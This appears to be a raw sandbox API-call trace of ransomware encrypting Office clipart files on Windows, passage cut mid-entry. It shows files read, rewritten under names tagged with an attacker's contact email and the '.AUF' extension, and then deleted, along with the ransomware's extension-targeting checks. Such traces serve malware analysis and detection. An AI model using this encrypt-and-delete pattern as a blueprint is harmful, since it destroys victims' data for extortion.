WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.505] SetEndOfFile (hFile=0x1f4) returned 1 [0216.505] CloseHandle (hObject=0x1f4) returned 1 [0216.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.505] SetEndOfFile (hFile=0x214) returned 1 [0216.505] CloseHandle (hObject=0x214) returned 1 [0216.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString=".doc") returned 4 [0216.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString=".docx") returned 5 [0216.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.506] lstrlenW (lpString=".pdf") returned 4 [0216.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString=".xls") returned 4 [0216.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.506] lstrlenW (lpString=".xlsx") returned 5 [0216.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.506] lstrlenW (lpString=".ppt") returned 4 [0216.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString=".zip") returned 4 [0216.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.506] lstrlenW (lpString=".rar") returned 4 [0216.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString=".bz2") returned 4 [0216.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString=".7z") returned 3 [0216.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString=".dbf") returned 4 [0216.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString=".1cd") returned 4 [0216.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0216.506] lstrlenW (lpString=".jpg") returned 4 [0216.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.507] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2108) returned 1 [0216.507] CloseHandle (hObject=0x214) returned 1 [0216.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0216.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.508] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.508] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.508] GetLastError () returned 0x0 [0216.508] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x83c, lpOverlapped=0x0) returned 1 [0216.519] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x840, lpOverlapped=0x0) returned 1 [0216.520] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.520] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.520] SetEndOfFile (hFile=0x1f4) returned 1 [0216.520] CloseHandle (hObject=0x1f4) returned 1 [0216.520] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.520] SetEndOfFile (hFile=0x214) returned 1 [0216.522] CloseHandle (hObject=0x214) returned 1 [0216.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0216.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.522] lstrlenW (lpString=".doc") returned 4 [0216.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.522] lstrlenW (lpString=".docx") returned 5 [0216.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.522] lstrlenW (lpString=".pdf") returned 4 [0216.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.522] lstrlenW (lpString=".xls") returned 4 [0216.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.522] lstrlenW (lpString=".xlsx") returned 5 [0216.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.522] lstrlenW (lpString=".ppt") returned 4 [0216.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.522] lstrlenW (lpString=".zip") returned 4 [0216.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.523] lstrlenW (lpString=".rar") returned 4 [0216.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.523] lstrlenW (lpString=".bz2") returned 4 [0216.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.523] lstrlenW (lpString=".7z") returned 3 [0216.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.523] lstrlenW (lpString=".dbf") returned 4 [0216.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.523] lstrlenW (lpString=".1cd") returned 4 [0216.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0216.523] lstrlenW (lpString=".jpg") returned 4 [0216.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.523] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9240) returned 1 [0216.523] CloseHandle (hObject=0x214) returned 1 [0216.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0216.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.523] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.524] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.524] GetLastError () returned 0x0 [0216.524] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2418, lpOverlapped=0x0) returned 1 [0216.531] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2420, lpOverlapped=0x0) returned 1 [0216.532] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.532] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.532] SetEndOfFile (hFile=0x1f4) returned 1 [0216.532] CloseHandle (hObject=0x1f4) returned 1 [0216.532] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.532] SetEndOfFile (hFile=0x214) returned 1 [0216.533] CloseHandle (hObject=0x214) returned 1 [0216.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0216.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.533] lstrlenW (lpString=".doc") returned 4 [0216.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString=".docx") returned 5 [0216.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.534] lstrlenW (lpString=".pdf") returned 4 [0216.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString=".xls") returned 4 [0216.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.534] lstrlenW (lpString=".xlsx") returned 5 [0216.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.534] lstrlenW (lpString=".ppt") returned 4 [0216.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.534] lstrlenW (lpString=".zip") returned 4 [0216.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.534] lstrlenW (lpString=".rar") returned 4 [0216.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString=".bz2") returned 4 [0216.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString=".7z") returned 3 [0216.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.534] lstrlenW (lpString=".dbf") returned 4 [0216.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.534] lstrlenW (lpString=".1cd") returned 4 [0216.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0216.534] lstrlenW (lpString=".jpg") returned 4 [0216.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.534] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2344) returned 1 [0216.534] CloseHandle (hObject=0x214) returned 1 [0216.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0216.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.535] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.535] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.535] GetLastError () returned 0x0 [0216.535] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x928, lpOverlapped=0x0) returned 1 [0216.543] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x930, lpOverlapped=0x0) returned 1 [0216.543] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.543] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.544] SetEndOfFile (hFile=0x1f4) returned 1 [0216.544] CloseHandle (hObject=0x1f4) returned 1 [0216.769] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.769] SetEndOfFile (hFile=0x214) returned 1 [0216.769] CloseHandle (hObject=0x214) returned 1 [0216.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString=".doc") returned 4 [0216.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString=".docx") returned 5 [0216.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.770] lstrlenW (lpString=".pdf") returned 4 [0216.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString=".xls") returned 4 [0216.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.770] lstrlenW (lpString=".xlsx") returned 5 [0216.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.770] lstrlenW (lpString=".ppt") returned 4 [0216.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString=".zip") returned 4 [0216.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.770] lstrlenW (lpString=".rar") returned 4 [0216.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString=".bz2") returned 4 [0216.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString=".7z") returned 3 [0216.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString=".dbf") returned 4 [0216.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString=".1cd") returned 4 [0216.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0216.770] lstrlenW (lpString=".jpg") returned 4 [0216.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.771] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=47996) returned 1 [0216.771] CloseHandle (hObject=0x214) returned 1 [0216.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0216.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.773] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.773] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.774] GetLastError () returned 0x0 [0216.774] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0216.783] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0216.785] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.785] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.785] SetEndOfFile (hFile=0x1f4) returned 1 [0216.785] CloseHandle (hObject=0x1f4) returned 1 [0216.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.785] SetEndOfFile (hFile=0x214) returned 1 [0216.786] CloseHandle (hObject=0x214) returned 1 [0216.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0216.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.786] lstrlenW (lpString=".doc") returned 4 [0216.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.786] lstrlenW (lpString=".docx") returned 5 [0216.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.787] lstrlenW (lpString=".pdf") returned 4 [0216.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString=".xls") returned 4 [0216.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.787] lstrlenW (lpString=".xlsx") returned 5 [0216.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.787] lstrlenW (lpString=".ppt") returned 4 [0216.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.787] lstrlenW (lpString=".zip") returned 4 [0216.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.787] lstrlenW (lpString=".rar") returned 4 [0216.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString=".bz2") returned 4 [0216.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString=".7z") returned 3 [0216.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.787] lstrlenW (lpString=".dbf") returned 4 [0216.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0216.787] lstrlenW 